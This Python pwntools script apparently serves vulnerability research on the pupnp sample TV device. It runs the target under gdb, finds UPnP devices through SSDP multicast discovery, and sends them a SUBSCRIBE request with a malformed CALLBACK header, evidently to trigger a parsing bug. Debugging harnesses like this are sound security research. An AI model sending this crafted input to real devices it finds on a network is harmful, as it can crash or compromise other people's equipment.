#!/usr/bin/env python3
from contextlib import contextmanager
from urllib.parse import urljoin
import xml.etree.ElementTree as ET

from pwn import *
import requests


@contextmanager
def maybe_start():
    if args.LOCAL:
        env = dict(os.environ)
        env["LD_LIBRARY_PATH"] = os.pathsep.join(
            (
                "/i386-xenial/lib/i386-linux-gnu",
                "/i386-xenial/opt/pupnp/upnp/.libs",
                "/i386-xenial/opt/pupnp/ixml/.libs",
                "/i386-xenial/opt/pupnp/threadutil/.libs",
            )
        )
        with gdb.debug(
            ["/i386-xenial/lib/i386-linux-gnu/ld-2.23.so", ".libs/tv_device"],
            gdbscript="""
set sysroot /
set debug-file-directory /i386-xenial/usr/lib/debug
# https://sourceware.org/gdb/onlinedocs/gdb/Server.html
monitor set libthread-db-search-path /i386-xenial/lib/x86_64-linux-gnu
directory /i386-xenial/usr/src/glibc-2.23/malloc
directory /i386-xenial/opt/pupnp/upnp
""",
            env=env,
            api=True,
            cwd="/i386-xenial/opt/pupnp/upnp/sample",
        ) as tube:
            yield tube
    else:
        yield None


def ssdp_discover():
    ssdp_ip = "239.255.255.250"
    ssdp_port = 1900
    ssdp_man = "ssdp:discover"
    ssdp_mx = 1
    ssdp_st = "upnp:rootdevice"
    max_udp_data_size = 65507
    req = "\r\n".join(
        (
            "M-SEARCH * HTTP/1.1",
            "HOST:{}:{}".format(ssdp_ip, ssdp_port),
            'MAN:"{}"'.format(ssdp_man),
            "MX:{}".format(ssdp_mx),
            "ST:{}".format(ssdp_st),
            "",
            "",
        )
    ).encode()
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    send_t = time.time()
    while True:
        now = time.time()
        delta = send_t - now
        if delta <= 0:
            print("[*] Sending {}...".format(ssdp_man))
            s.sendto(req, (ssdp_ip, ssdp_port))
            send_t = now + 1
            continue
        s.settimeout(delta)
        try:
            resp, _ = s.recvfrom(max_udp_data_size)
        except socket.timeout:
            continue
        resp = resp.decode()
        print("--- SSDP response ---\n{}---".format(resp))
        m = re.search("LOCATION: (.+?)\r\n", resp, re.MULTILINE)
        if m is not None:
            url, = m.groups()
            print("[*] Description URL: {}".format(url))
            yield url


def get_event_sub_url(xml_url):
    xml_resp = requests.get(xml_url)
    content = xml_resp.content.decode()
    print("--- Description ---\n{}---".format(content))
    xml_resp.raise_for_status()
    root = ET.fromstring(content)
    element = root.find(
        "/".join(
            (
                ".",
                "{urn:schemas-upnp-org:device-1-0}device",
                "{urn:schemas-upnp-org:device-1-0}serviceList",
                "{urn:schemas-upnp-org:device-1-0}service",
                "{urn:schemas-upnp-org:device-1-0}eventSubURL",
            )
        )
    )
    if element is None:
        return None
    return element.text


def main_1(tube, event_sub_url):
    try:
        method = "SUBSCRIBE"
        print("{} {}...".format(method, event_sub_url))
        resp = requests.request(
            method=method,
            url=event_sub_url,
            headers={"NT": "upnp:event", "CALLBACK": "<http://localhost><>"},
        )
        print("--- Response ---\n{}---".format(resp.content.decode()))
    except requests.exceptions.ConnectionError:
        pass
    tube.interactive()


def main():
    with maybe_start() as tube:
        if args.LOCAL:
            # Fix Ctrl+C in GDB: https://stackoverflow.com/a/6442197
            tube.gdb.Breakpoint("sigwait", temporary=True)
            tube.gdb.continue_and_wait()
            tube.gdb.execute("file /i386-xenial/opt/pupnp/upnp/sample/.libs/tv_device")
            tube.gdb.execute(
                "call (int)sigdelset(((sigset_t **)$esp)[1], {})".format(signal.SIGINT)
            )
            tube.gdb.continue_nowait()
            tube.recvuntil(">> ")
        for xml_url in ssdp_discover():
            event_sub_url = get_event_sub_url(xml_url)
            if event_sub_url is None:
                continue
            print("eventSubURL = {}".format(event_sub_url))
            event_sub_url = urljoin(xml_url, event_sub_url)
            print("Full eventSubURL = {}".format(event_sub_url))
            main_1(tube, event_sub_url)


if __name__ == "__main__":
    main()
